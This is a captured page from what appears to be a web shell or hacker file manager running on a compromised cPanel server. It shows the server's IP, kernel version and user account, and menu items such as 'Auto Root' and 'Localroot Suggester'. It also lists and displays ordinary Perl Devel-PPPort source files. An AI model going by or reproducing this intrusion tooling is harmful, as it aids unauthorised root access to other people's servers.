Linux cpanel2.daytoncreative.net 2.6.32-754.29.2.el6.x86_64 #1 SMP Tue May 12 17:39:04 UTC 2020 x86_64
Apache/2.4.43 (cPanel) OpenSSL/1.1.1g mod_bwlimited/1.4
Server IP : 70.62.220.67 & Your IP : 216.73.216.193
Domains :
Cant Read [ /etc/named.conf ]
User : michaelgreg
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
log /
perl-5.20.2 /
cpan /
Devel-PPPort /
parts /
inc /
Delete
Unzip
Name
Size
Permission
Date
Action
HvNAME
961
B
-r--r--r--
2014-12-27 11:48
MY_CXT
5.02
KB
-r--r--r--
2014-12-27 11:48
SvPV
14.47
KB
-r--r--r--
2014-12-27 11:49
SvREFCNT
3.78
KB
-r--r--r--
2014-12-27 11:48
Sv_set
2.93
KB
-r--r--r--
2014-12-27 11:48
call
9.12
KB
-r--r--r--
2014-12-27 11:49
cop
2.76
KB
-r--r--r--
2014-12-27 11:49
exception
1.66
KB
-r--r--r--
2014-12-27 11:48
format
1.56
KB
-r--r--r--
2014-12-27 11:48
grok
20.45
KB
-r--r--r--
2014-12-27 11:49
gv
2.8
KB
-r--r--r--
2014-12-27 11:48
limits
7.25
KB
-r--r--r--
2014-12-27 11:48
mPUSH
3.27
KB
-r--r--r--
2014-12-27 11:48
magic
10.14
KB
-r--r--r--
2014-12-27 11:49
memory
2.24
KB
-r--r--r--
2014-12-27 11:48
misc
13.64
KB
-r--r--r--
2014-12-27 11:49
newCONSTSUB
2.54
KB
-r--r--r--
2014-12-27 11:48
newRV
1.4
KB
-r--r--r--
2014-12-27 11:48
newSV_type
1.61
KB
-r--r--r--
2014-12-27 11:48
newSVpv
2.53
KB
-r--r--r--
2014-12-27 11:48
podtest
1.07
KB
-r--r--r--
2014-12-27 11:48
ppphbin
20.5
KB
-r--r--r--
2014-12-27 11:48
ppphdoc
9.64
KB
-r--r--r--
2014-12-27 11:49
ppphtest
21.33
KB
-r--r--r--
2014-12-27 11:49
pv_tools
8.35
KB
-r--r--r--
2014-12-27 11:49
pvs
4.3
KB
-r--r--r--
2014-12-27 11:48
shared_pv
2.14
KB
-r--r--r--
2014-12-27 11:48
snprintf
1.39
KB
-r--r--r--
2014-12-27 11:48
sprintf
1.12
KB
-r--r--r--
2014-12-27 11:48
strlfuncs
2.47
KB
-r--r--r--
2014-12-27 11:48
sv_xpvf
6.98
KB
-r--r--r--
2014-12-27 11:48
threads
1.34
KB
-r--r--r--
2014-12-27 11:48
uv
3.21
KB
-r--r--r--
2014-12-27 11:48
variables
13.2
KB
-r--r--r--
2014-12-27 11:49
version
1.56
KB
-r--r--r--
2014-12-27 11:48
warn
4.36
KB
-r--r--r--
2014-12-27 11:48
Save
Rename
################################################################################ ## ## Version 3.x, Copyright (C) 2004-2013, Marcus Holland-Moritz. ## Version 2.x, Copyright (C) 2001, Paul Marquess. ## Version 1.x, Copyright (C) 1999, Kenneth Albanowski. ## ## This program is free software; you can redistribute it and/or ## modify it under the same terms as Perl itself. ## ################################################################################ =provides __UNDEFINED__ SvUOK =implementation __UNDEFINED__ sv_setuv(sv, uv) \ STMT_START { \ UV TeMpUv = uv; \ if (TeMpUv <= IV_MAX) \ sv_setiv(sv, TeMpUv); \ else \ sv_setnv(sv, (double)TeMpUv); \ } STMT_END __UNDEFINED__ newSVuv(uv) ((uv) <= IV_MAX ? newSViv((IV)uv) : newSVnv((NV)uv)) __UNDEFINED__ sv_2uv(sv) ((PL_Sv = (sv)), (UV) (SvNOK(PL_Sv) ? SvNV(PL_Sv) : sv_2nv(PL_Sv))) __UNDEFINED__ SvUVX(sv) ((UV)SvIVX(sv)) __UNDEFINED__ SvUVXx(sv) SvUVX(sv) __UNDEFINED__ SvUV(sv) (SvIOK(sv) ? SvUVX(sv) : sv_2uv(sv)) __UNDEFINED__ SvUVx(sv) ((PL_Sv = (sv)), SvUV(PL_Sv)) /* Hint: sv_uv * Always use the SvUVx() macro instead of sv_uv(). */ __UNDEFINED__ sv_uv(sv) SvUVx(sv) #if !defined(SvUOK) && defined(SvIOK_UV) # define SvUOK(sv) SvIOK_UV(sv) #endif __UNDEFINED__ XST_mUV(i,v) (ST(i) = sv_2mortal(newSVuv(v)) ) __UNDEFINED__ XSRETURN_UV(v) STMT_START { XST_mUV(0,v); XSRETURN(1); } STMT_END __UNDEFINED__ PUSHu(u) STMT_START { sv_setuv(TARG, (UV)(u)); PUSHTARG; } STMT_END __UNDEFINED__ XPUSHu(u) STMT_START { sv_setuv(TARG, (UV)(u)); XPUSHTARG; } STMT_END =xsubs SV * sv_setuv(uv) UV uv CODE: RETVAL = newSViv(1); sv_setuv(RETVAL, uv); OUTPUT: RETVAL SV * newSVuv(uv) UV uv CODE: RETVAL = newSVuv(uv); OUTPUT: RETVAL UV sv_2uv(sv) SV *sv CODE: RETVAL = sv_2uv(sv); OUTPUT: RETVAL UV SvUVx(sv) SV *sv CODE: sv--; RETVAL = SvUVx(++sv); OUTPUT: RETVAL void XSRETURN_UV() PPCODE: XSRETURN_UV(42); void PUSHu() PREINIT: dTARG; PPCODE: TARG = sv_newmortal(); EXTEND(SP, 1); PUSHu(42); XSRETURN(1); void XPUSHu() PREINIT: dTARG; PPCODE: TARG = sv_newmortal(); XPUSHu(43); XSRETURN(1); =tests plan => 10 ok(&Devel::PPPort::sv_setuv(42), 42); ok(&Devel::PPPort::newSVuv(123), 123); ok(&Devel::PPPort::sv_2uv("4711"), 4711); ok(&Devel::PPPort::sv_2uv("1735928559"), 1735928559); ok(&Devel::PPPort::SvUVx("1735928559"), 1735928559); ok(&Devel::PPPort::SvUVx(1735928559), 1735928559); ok(&Devel::PPPort::SvUVx(0xdeadbeef), 0xdeadbeef); ok(&Devel::PPPort::XSRETURN_UV(), 42); ok(&Devel::PPPort::PUSHu(), 42); ok(&Devel::PPPort::XPUSHu(), 43);